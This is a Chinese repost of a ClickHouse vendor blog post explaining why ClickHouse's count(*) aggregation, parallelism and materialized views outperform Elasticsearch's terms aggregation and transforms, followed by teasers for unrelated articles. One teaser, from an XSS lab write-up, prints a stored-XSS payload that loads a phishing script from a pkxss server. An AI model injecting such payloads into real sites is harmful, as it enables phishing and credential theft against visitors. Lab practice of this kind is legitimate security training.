ClickHouse vs. Elasticsearch: 计数聚合的工作原理

图片

本文字数:7875;估计阅读时间:20 分钟

审校:庄晓东(魏庄)

图片

介绍

图片

在另一篇博客文章中,我们对 ClickHouse 和 Elasticsearch 在大规模数据分析和可观测性用例中的性能进行了比较,特别是对数十亿行数据表进行的 count(*) 聚合操作。结果显示,ClickHouse 在处理大数据量的聚合查询时,性能显著优于 Elasticsearch。具体表现如下:

ClickHouse 的 count(*) 聚合查询能够高效地利用硬件资源,处理大数据集的延迟至少比 Elasticsearch 低 5 倍。这意味着在相同的延迟下,ClickHouse 所需的硬件更小且成本低 4 倍

基于这些优势,越来越多的用户从 Elasticsearch 迁移到 ClickHouse,以下是一些客户的反馈:

  • 在 PB 级可观测性用例中大幅降低成本:

“从 Elasticsearch 迁移到 ClickHouse,减少了我们可观测性硬件的成本超过 30%。”

——滴滴科技

  • 提升数据分析应用的技术限制:

“这释放了新功能的潜力,推动了增长并简化了扩展。”

——Contentsquare

  • 在监控平台的可扩展性和查询延迟上大幅改善:

“ClickHouse 帮助我们从每月数百万行扩展到数十亿行。” “切换后,我们看到平均读取延迟提升了 100 倍。”

——The Guild

你可能会问,“为什么 ClickHouse 比 Elasticsearch 更快更高效?”这篇博客将为你提供一个深入的技术解析。

ClickHouse 和 Elasticsearch 中的计数聚合

在数据分析场景中,常见的聚合操作是计算和排序数据集中各个值的频率。例如,在这张来自 ClickPy 应用程序的截图中(分析了近 9000 亿行 Python 包下载事件),所有数据可视化在底层都使用了带有 count(*) 聚合操作的 SQL GROUP BY 子句:

图片

同样,在日志记录(或更广泛的可观测性)用例中,聚合操作最常见的应用之一是统计特定日志消息或事件的发生频率(并在频率异常时发出警报)。

在 Elasticsearch 中,类似于 ClickHouse 的 SELECT count(*) FROM ... GROUP BY ... SQL 查询的操作是 terms 聚合,这是 Elasticsearch 的一种桶聚合。 

ClickHouse 的 GROUP BY 与 count(*) 和 Elasticsearch 的 terms aggregation 在功能上基本相当,但在实现、性能和结果质量上存在显著差异,具体如下所述。

我们在一篇附带的博客文章中比较了计数聚合的性能。

除了桶聚合,Elasticsearch 还提供了指标聚合。我们将在另一篇博客中对 ClickHouse 和 Elasticsearch 在指标用例上的表现进行比较。

计数聚合的实现方法

并行化

ClickHouse

ClickHouse 从一开始就被设计为能够快速高效地处理和聚合互联网规模的数据。为了实现这一点,ClickHouse 在列值、表块和表分片这三个层次上并行化 SELECT 查询,包括 count(*) 和其他 90 多种聚合函数:

图片

① SIMD 并行化 

ClickHouse 利用 CPU 的 SIMD 单元(例如 AVX512)对列中的连续值进行相同的操作。本文详细介绍了其工作原理。

② 多核并行化 

在一台拥有 n 个 CPU 核心的机器上,ClickHouse 通过 n 个并行执行通道(或根据用户的 max_threads 设置调整通道数)运行聚合查询:

图片

上图展示了 ClickHouse 如何并行处理 n 个不重叠的数据范围。这些数据范围可以是任意的,例如,不需要基于分组键。当聚合查询包含 WHERE 子句形式的过滤条件,并且主索引能够评估这个过滤条件时,ClickHouse 会定位匹配的表数据范围,并在 n 个执行通道之间动态分配这些范围。

这种并行化方法是通过部分聚合状态实现的:每个执行通道都会生成部分聚合状态。这些部分聚合状态最终会被合并成最终的聚合结果。

对于 count(*) 聚合,部分聚合状态仅仅是一个不断更新的计数变量。实际上,count(*) 聚合是最简单的一种聚合,甚至可以在没有部分聚合状态概念的情况下进行内部并行化。为了提供一个利用部分聚合状态实现并行化的具体示例,我们使用这个聚合查询来计算基于英国房地产价格数据集的各个城镇的平均房价:

SELECTtown,avg(price) AS avg_price
FROM uk_price_paid
GROUP BY town;

假设数据库要使用两个并行执行通道计算伦敦的平均房价:

图片

执行通道 1 计算其数据范围内所有伦敦记录的房价平均值。对于执行通道 1,部分聚合状态通常包括:

  • 一个总和(如这里的 500,000,为伦敦的房价总和)和

  • 一个计数(如这里的 2,为处理的伦敦记录数)。

执行通道 2 计算类似的部分聚合状态。这两个部分聚合状态合并后,可以得出最终结果:伦敦的平均房价为 (500,000 + 400,000) / (2 + 1) = 900,000 / 3 = 300,000

部分聚合状态对于计算准确的结果是必要的。简单地对子范围的平均值进行平均会产生错误结果。例如,如果我们将第一个子范围的平均值 (250,000) 与第二个子范围的平均值 (400,000) 平均化,我们会得到 (650,000 / 2) = 325,000,这是不正确的。

ClickHouse 在所有可用 CPU 核心上并行化了其支持的 90 多种聚合函数及其与聚合函数组合器的组合。

③ 多节点并行化

如果聚合查询的源表已经分片并分布在多个节点上,ClickHouse 会在所有节点的所有 CPU 核心上并行执行聚合函数。

每个节点使用前面提到的多核并行化技术在本地执行聚合,然后将生成的部分聚合状态传输到发起节点(接收到聚合查询的节点)进行合并:

图片

作为优化,如果聚合查询的 GROUP BY 键是分片键的前缀,那么发起节点无需合并部分聚合状态,合并将在每个节点的最后一步完成,然后将最终结果传回发起节点。

增量聚合

前述技术都应用于“查询时”,即当用户运行 SELECT count(*) FROM ... GROUP BY ... 查询时。如果需要频繁执行相同的耗时聚合查询,例如每小时一次,或者需要实现亚秒级延迟,但数据集太大无法实现,ClickHouse 提供了一种额外的优化,可以将负载从查询时间转移到插入时间和后台合并时间。具体而言,上述基于部分聚合状态的技术也可以在数据部分的(并行)后台合并期间应用。

这是一种强大且高度可扩展的持续数据汇总技术,使得聚合查询时大部分数据已经被预先聚合。以下图表展示了这一过程:

图片

① -State 聚合函数组合器可以让 ClickHouse 查询引擎只合并部分聚合状态(由并行执行通道生成),而不是直接计算最终结果:

 SELECTtown,avgState(price) AS avg_price_state
FROM uk_price_paid
GROUP BY town;

当您运行此查询时,avg_price_state 中的部分聚合状态并不会实际显示在屏幕上。

这些合并的部分聚合状态可以作为数据部分写入使用 AggregatingMergeTree 表引擎的表中:

INSERT INTO <table with AggregatingMergeTree engine>
SELECTtown,avgState(price) AS avg_price_state
FROM uk_price_paid
GROUP BY town;

② 此表引擎在后台合并部分数据时,会持续并行地进行部分聚合。最终的合并结果相当于在所有原始数据上运行聚合查询。

物化视图会自动执行上述的插入步骤。以下是基于我们之前使用的每个城镇平均房价示例的具体例子。

③ 在查询时,可以使用 -Merge 聚合函数组合器将部分聚合状态合并成最终的聚合结果:

SELECTtown,avgMerge(avg_price_state) AS avg_price
FROM <table with AggregatingMergeTree engine>
GROUP BY town;

Elasticsearch

与 ClickHouse 不同,Elasticsearch 在 terms 聚合(用于计算计数)中采用了一种完全不同的并行化方法,这导致硬件利用效率低于 ClickHouse:

图片

terms aggregation 总是需要一个 size 参数(下文称为 n),Elasticsearch 在每个分片上使用一个 CPU 线程运行该聚合,而不考虑 CPU 核心数量。每个线程计算其处理的分片内的 top n 个结果(默认按每组的最大计数值排序)。分片的本地结果最终会合并为全局的 top n 个最终结果。

Elasticsearch 的多节点并行化 terms aggregation 方法类似。当分片分布在多个节点上时,每个节点会生成一个本地的 top n 个结果(使用上述技术),这些本地结果最终由协调节点(接收到聚合查询的节点)合并为全局最终结果。

这种并行化方法基于数据在分片上的分布方式,可能会导致精度问题。我们用一个例子来说明:

图片

假设我们基于英国房价数据集,想计算销售房产最多的前两个城镇。数据分布在两个分片上。上图抽象地展示了 ① 每个分片内各城镇的房产销售记录数。每个处理线程 ② 返回一个分片内的 top 2 个结果,这些结果 ③ 会被合并为全局的 top 2 个结果。然而,这个结果是不正确的。基于全局数据,每个城镇的正确记录数如下:

  • Town 111

  • Town 28

  • Town 39

  • Town 49

Elasticsearch 计算的结果中,Town 2 的数量和排名都是错误的。可以通过分析返回的数量错误并调整 shard size 参数来提高精度——这会让每个处理线程从每个 shard 返回比查询请求更大的 top n 结果,但也会增加内存需求和运行时间。

Elasticsearch 还利用了基于 JVM 自动向量化和 Java Panama Vector API 的 SIMD 硬件单元。此外,从 Elasticsearch 8.12 版本开始,除 terms 聚合外,查询处理线程可以并行搜索段。因为将上述技术应用于段而不是 shard 同样会遇到精度问题。由于一个 shard 包含多个段,这也会随着 shard size 参数的增加而增加每个处理线程的工作量。

精度

Elasticsearch

如上所述,当查询的数据分布在多个 shard 上时,Elasticsearch 的 terms 聚合中的计数值默认是近似值。可以通过分析返回的数量错误并调整 shard size 参数来提高结果的准确性,但这会增加运行时间和内存需求。

ClickHouse

ClickHouse 的 count(*) 聚合函数计算完全准确的结果。

ClickHouse 的 count(*) 聚合使用起来很简单,不需要像 Elasticsearch 那样进行额外配置。

无限制子句

Elasticsearch

由于其执行模型,Elasticsearch 中的 count 聚合无法使用无限制子句——用户必须始终指定一个 size 设置。即使设置了较大的 size 值,对于高基数数据集的桶聚合也会受到 max_buckets 设置的限制,或者需要通过使用昂贵的复合聚合分页结果。

ClickHouse

ClickHouse 的 count(*) 聚合不受 size 限制。此外,如果查询的内存消耗超过(可选的)用户指定的最大内存阈值,它还支持将临时结果溢出到磁盘。除此之外,无论数据集大小如何,如果聚合中的分组列形成主键的前缀,ClickHouse 可以以最小的内存需求运行聚合。

同样,ClickHouse 的 count(*) 聚合相比 Elasticsearch 具有较低的复杂性。

连续数据汇总的方法

无论数据库中的聚合和查询处理效率有多高,聚合数十亿或数万亿行数据(这是现代数据分析应用中的典型情况)总是会因为必须处理的大量数据而本质上代价高昂。

因此,专门处理分析工作负载的数据库通常会提供数据汇总作为构建块,用户可以自动将传入数据转换为汇总数据集,以预聚合且通常显著缩小的格式表示原始数据。查询将利用预计算数据在交互式应用中(如前面提到的 ClickPy 应用)提供亚秒级的延迟。

Elasticsearch 和 ClickHouse 都提供了内置的自动连续数据汇总技术。它们的技术在功能上具有相同的能力,但在实现、效率及计算成本上有着显著不同。

Elasticsearch

Elasticsearch 提供了一种称为 transforms 的机制,用于批量将现有索引转换为汇总索引或连续转换摄入的数据。

基于 Elasticsearch 的磁盘格式,我们在此详细描述了 transforms 的工作原理。

我们注意到 Elasticsearch 方法的三个缺点,即:

  • 需要保留旧的原始数据:否则,transforms 无法正确重新计算聚合。

  • 可扩展性差和计算成本高:每当在检查点后检测到新的原始数据文档时,所有的桶数据都会从不断增长的原始数据源索引中查询并重新聚合。这无法扩展到数十亿,更不用说万亿级的文档集,并导致高计算成本。

  • 不是实时的:transforms 预聚合目标索引只有在下一次检查间隔之后才与原始数据源索引同步。

专用于时间序列度量数据,Elasticsearch 还提供了一种降采样技术,通过以较低的粒度存储数据来减少数据的占用空间。降采样是 rollups 的后继技术,相当于一种 transform,通过将度量数据文档按其时间戳转换为固定时间间隔(例如小时、天、月或年)进行分组,然后应用一组固定的聚合(minmaxsumvalue_count 和 average)。与 ClickHouse 链式物化视图的比较可以作为未来博客的主题。

ClickHouse

ClickHouse 通过结合物化视图与 AggregatingMergeTree 表引擎以及部分聚合状态,进行自动且(与 Elasticsearch 相比)增量的数据转换。

基于 ClickHouse 的磁盘格式,我们在此详细解释增量物化视图的机制。

ClickHouse 的物化视图相较于 Elasticsearch 的 transforms 具有三个主要优点:

  • 无原始数据依赖:源表中的原始数据从未被查询,即使用户想执行精确的聚合计算也是如此。这允许对源表和预聚合目标表应用不同的 TTL 设置。此外,在仅需执行同一组聚合查询的情况下,用户可以选择在预聚合后完全舍弃源数据(使用 Null 表引擎)。

  • 高可扩展性和低计算成本:增量聚合专为源数据表包含数十亿或数万亿行的场景设计。与反复查询不断增长的源表并重新计算属于同一组的所有现有行的聚合值相比,当存在新的原始数据行时,ClickHouse 仅从新插入的原始数据行的值计算部分聚合状态。此状态在后台与先前计算的状态增量合并。换句话说,每个原始数据值只与其他原始数据值聚合一次。与通过对原始数据进行蛮力聚合相比,这显著降低了计算成本。

  • 实时性:当原始数据源表的插入操作成功确认时,预聚合目标表保证是最新的。

回填预聚合

在我们附带的基准测试博客文章中,我们使用 Elasticsearch 的连续 transforms 和 ClickHouse 中的等效物化视图将摄入的数据即时预聚合到独立的数据集中。有时,这并不可行。例如,当大量数据已经摄入时,重新摄入是不可能的或太昂贵,而且引入的查询会受益于以预聚合格式运行这些数据。

Elasticsearch

我们在 Elasticsearch 中通过对已经摄入的 100 亿行数据集运行批量 transform 来模拟这种情况,预先计算计数到一个单独的数据集中,以加速我们基准测试中使用的聚合查询。连续和批量 transforms 都使用上述的基于检查点的机制。由于该机制的缺点,即在检查点处重复查询和聚合相同的值:

通过批量 transform 进行回填花了整整 5 天(使用了大量计算成本)。这是一个很长的等待时间,直到查询可以从预聚合数据中受益。

ClickHouse

在 ClickHouse 中,回填预聚合通过使用 INSERT INTO SELECT 语句直接插入到物化视图的目标表中,使用视图的 SELECT 查询(转换):

对于 100 亿行数据集,这只需 20 秒,而不是整整 5 天。

这 20 秒包括聚合完整的 100 亿行数据集并将结果(作为部分聚合状态)写入目标表,之后物化视图将使用该表处理额外的传入数据。根据原始数据集的基数,这可能是一种内存密集型方法,因为完整的原始数据集是临时聚合的。或者,用户可以使用一种需要最少内存的变体。

请注意,ClickHouse 手动聚合原始数据集并将结果直接插入目标表的 20 秒方法在 Elasticsearch 中是不可行的。理论上,这可以通过 reindex(索引到索引复制)操作实现。然而,这需要在原始数据集中保留 _source 数据(需要显著更多的存储空间)。还需要一种机制来手动创建必要的检查点,以便在开始流式数据时正确继续预聚合过程。在 ClickHouse 中,在我们运行上述回填后,物化视图将继续对新传入的数据进行增量聚合。

ClickHouse 中的高性能聚合

大多数数据库,包括 ClickHouse,在实现 GROUP BY 时都使用某种变体的哈希聚合算法,其中输入行的聚合值存储并更新在以分组列为键的哈希表中。选择正确的哈希表类型对性能至关重要。在底层,ClickHouse 利用复杂的哈希表框架来实现聚合。根据分组列的数据类型、估计基数和其他因素,每个聚合查询都会从截至 2024 年 4 月的 30 多种不同实现中,单独选择最快的哈希表。ClickHouse 是专门为在大量数据上进行高性能聚合而构建的。

ClickHouse 目前是市场上最快的数据库之一,具有用于数据分析的独特功能:

  • 最先进的矢量化查询引擎,利用所有服务器和集群资源并行执行,将硬件使用推至理论极限

  • 现代 SQL 方言和丰富的数据类型,包括地图和数组(加上用于操作数组的 80 多个函数),优雅而简单地建模和解决各种问题

  • 超过 90 个预构建的聚合函数,支持大数据集的增量聚合,以及强大的聚合组合器以扩展其他聚合函数的行为

  • 超过 1000 个常规数据处理函数,涵盖数学、地理、机器学习、时间序列等领域

  • 完全并行化的窗口函数

  • 并行连接算法

  • 原生支持从几乎任何数据源加载 90 多种文件格式的数据

总结

在这篇博客文章中,我们深入回答了为什么 ClickHouse 在处理数据分析和日志/可观测性使用场景中常需的计数聚合时,比 Elasticsearch 更快、更高效。

我们解释了 ClickHouse 和 Elasticsearch 在并行化方法、结果质量和可用性复杂度方面的差异。我们探讨了 Elasticsearch 和 ClickHouse 内置的预计算计数机制。我们强调了 ClickHouse 的物化视图在处理数十亿/万亿级行集方面为何比 Elasticsearch 的 transforms 更高效、更适合。

我们建议阅读我们附带的博客文章《ClickHouse vs. Elasticsearch: The Billion-Row Matchup》【https://clickhouse.com/blog/clickhouse_vs_elasticsearch_the_billion_row_matchup】,以了解 ClickHouse 的高性能聚合实际表现。作为预告,我们在此包括了一些基准测试结果:

图片

图片

图片

征稿启示

面向社区长期正文,文章内容包括但不限于关于 ClickHouse 的技术研究、项目实践和创新做法等。建议行文风格干货输出&图文并茂。质量合格的文章将会发布在本公众号,优秀者也有机会推荐到 ClickHouse 官网。请将文章稿件的 WORD 版本发邮件至:Tracy.Wang@clickhouse.com

​​联系我们

手机号:13910395701

邮箱:Tracy.Wang@clickhouse.com

满足您所有的在线分析列式数据库管理需求

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/diannao/15297.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

python-找出四位数中的玫瑰花数

【问题描述】玫瑰花数指一个n位数&#xff08;n>4),其每位上的数字的n次幂之和等于本身。 请求出所有四位数中的玫瑰花数 【输入形式】 【输出形式】 【样例输入】 【样例输出】1634 8208 9474 【样例说明】 【评分标准】 完整代码如下&#xff1a; for n in ra…

《计算机网络微课堂》1-2:因特网概述

1-2&#xff1a;因特网概述 网络、互连网&#xff08;互联网&#xff09;和因特网因特网发展的三个阶段因特网的标准化工作因特网的组成 ‍ 网络、互连网&#xff08;互联网&#xff09;和因特网 我们首先介绍网络、互联网&#xff08;互连网&#xff09;因特网的基本概念&a…

ensp-三层交换技术

交换机-三层交换 一.概述 单臂路由有明显的缺陷,单臂路由的链路使用率高,可能会造成网路拥塞,造成网络不可用 可以让多个交换机连接路由器的不同接口,但是路由器的接口毕竟有限,不像交换机一样有那么多接口 使用三层交换解决路由器接口不够用问题 二.三层交换 1.创建多个VLAN…

魔众文库系统v6.6.0分销功能,后台日志重构,文档转换优化

分销功能&#xff0c;后台日志重构&#xff0c;文档转换优化 [新功能] 升级支持支付宝授权登录最新方式 [新功能] 后台左上角标题支持自定义&#xff0c;修改 modstart.php 中 admin.title 配置 [新功能] 日志界面重构&#xff0c;全新日志查看体验 [新功能] 链接选择弹窗增…

idea 出现 cpu占用100%

一、IDEA的CPU占用率过高 二、解决办法 idea安装路径bin目录 修改idea64.exe.vmoptions配置文件 原来的 -Xms128m -Xmx750m -XX:ReservedCodeCacheSize240m -XX:UseConcMarkSweepGC -XX:SoftRefLRUPolicyMSPerMB50 修改为(IDEA优化内存配置) -Xms2048m -Xmx4096m -XX:Reser…

Android 项目中自定义多个 RadioButton 并排一列选择效果实现

文章目录 1、静态版实现1.1、实现要求1.2、实现步骤1.3、代码实现1.4、代码实现说明1.5、结论 2、项目版实现(动态)1、先看效果图2、main的布局文件3、定义RadioButton的属性4、最后在代码中生成我想要的东东5、说明 3、后续优化方向 1、静态版实现 1.1、实现要求 我们需要在…

1、pikachu靶场之xss钓鱼复现

一、复现过程 1、payload <script src"http://127.0.0.1/pkxss/xfish/fish.php"></script> 将这段代码插入到含有储存xss的网页上&#xff0c;如下留言板 2、此时恶意代码已经存入数据库&#xff0c;并存在网页中&#xff0c;当另一个用户打开这个网页…

SK6812-RGBW是一个集控制电路与发光电路于一体的智能外控LED光源

产品概述: SK6812-RGBW是一个集控制电路与发光电路于一体的智能外控LED光源。其外型与一个5050LED灯珠相同&#xff0c;每个元件即为一个像素点。像素点内部包含了智能数字接口数据锁存信号整形放大驱动电路&#xff0c;电源稳压电路&#xff0c;内置恒流电路&#xff0…

从 0 开始本地部署大语言模型

1、准备 ● Ollama&#xff1a;ollama.com ● Docker&#xff1a;https://docs.openwebui.com/ 2、下载 Ollama 进入 Ollama 官网&#xff0c;点击 Download 。 下载完成后&#xff0c;双击安装&#xff0c;什么都不需要勾选&#xff0c;直接下一步即可。安装完成&#xf…

PYQT5点击Button执行多次问题解决方案(亲测)

PYQT5点击Button却执行多次问题 使用pyqt5时遇到问题&#xff0c;UI上按钮点击一次&#xff0c;对应的槽函数却执行了3遍 首先&#xff0c;确认函数名无冲突&#xff0c;UI button名无命名冲突&#xff0c;下图是简单的示例程序&#xff1a; 运行后&#xff0c;点击按钮&#…

electron调试自动更新,不触发下载进度解决方案

调试时候删除掉后缀是.blockmap的文件。如果你的代码在改动不大的情况下发布一个新版本。那个安装器可能会根据这个数据自动合成一个包&#xff0c;而不走网络路径。从而不触发下载进度。

Spring框架学习笔记(四):手动实现 Spring 底层机制(初始化 IOC容器+依赖注入+BeanPostProcessor 机制+AOP)

1 Spring 整体架构示意图 2 阶段 1 -- 编写自己的 Spring 容器&#xff0c;实现多层扫描包 编写自己的 Spring 容器&#xff0c;实现多层扫描包&#xff0c;排除包下不是bean的&#xff0c; 得到 bean 对象&#xff0c;放入到临时ioc容器中 代码实现&#xff1a; &#xff0…

OSM最新台湾电力数据(2024年5月23日数据)转换总结及与(2024年2月16日数据)转换结果对比

osm包含种类繁多&#xff0c;我们这里是只以刚转换的台湾电力设备为例抛砖引玉的进行说明。本次仅仅转换了&#xff0c;变电站、电厂和线路杆塔数据&#xff01; 这种带增强的文件&#xff0c;是我在基础规则之外增加的提取规则。是为了更多的将OSM相关类型数据过滤提取出来&am…

干货 | 2024 EISS 企业信息安全高峰论坛(脱敏)PPT(7份可下载)

2024 EISS 企业信息安全高峰论坛&#xff08;脱敏&#xff09;PPT&#xff0c;共7份。 AI在出海业务的安全实践.pdf Palo Alto Networks为中国企业全球化布局保驾护航.pdf 安全建设与治理思路.pdf 车路云一体化安全体系建设实践.pdf 企业研发安全DevSecOps流程落地实践.pdf 浅谈…

c++入门的基础知识

c入门 C是在C的基础之上&#xff0c;容纳进去了面向对象编程思想&#xff0c;并增加了许多有用的库&#xff0c;以及编程范式等。熟悉C语言之后&#xff0c;对C学习有一定的帮助&#xff0c;本章节主要目标&#xff1a; 补充C语言语法的不足&#xff0c;以及C是如何对C语言设计…

2024年收集搜索引擎蜘蛛大全以及浏览器模拟蜘蛛方法

对于做SEOer来说经常和搜索引擎蜘蛛打交道&#xff0c;下面整理收集了最全的搜索引擎蜘蛛大全。供有需要的朋友使用&#xff0c;建议收藏。 搜索引擎蜘蛛大全 "TencentTraveler", "Baiduspider", "BaiduGame", "bingbot",//必应蜘蛛…

uni-app App端实现文字语音播报(Ba-TTS)

前言 最近在遇到消息提示语音播放出来&#xff0c;查了一圈文档发现并没有自带api 后面想起支付宝收钱播报&#xff0c;不受限与系统环境和版本环境&#xff08;后面查阅他是音频实现的&#xff09; 如果是由安卓端需要语音播放功能-直接使用Ba-TTs救急&#xff08;需要付费2…

详解CSS(一)

目录 1.CSS是什么 2.基本语法规范 3.引入方式 3.1内部样式表 3.2行内样式表 3.3外部样式表 4.选择器 4.1基础选择器 4.1.1标签选择器 4.1.2类选择器 4.1.3id选择器 4.1.4通配符选择器 4.2复合选择器 4.2.1后代选择器 4.2.2子选择器 4.2.3并集选择器 4.2.4伪类选择…

【通义千问—Qwen-Agent系列3】案例分析(五子棋游戏多Agent冒险游戏多智能体群组交流)

目录 前言一、快速开始1-1、介绍1-2、安装1-3、开发你自己的Agent 二、基于Qwen-Agent的案例分析2-0、环境安装2-1、五子棋游戏实现2-2、多Agent冒险游戏2-N、 多智能体群组交流&#xff08;太酷啦&#xff09; 附录1、agent源码2、router源码 总结 前言 Qwen-Agent是一个开发…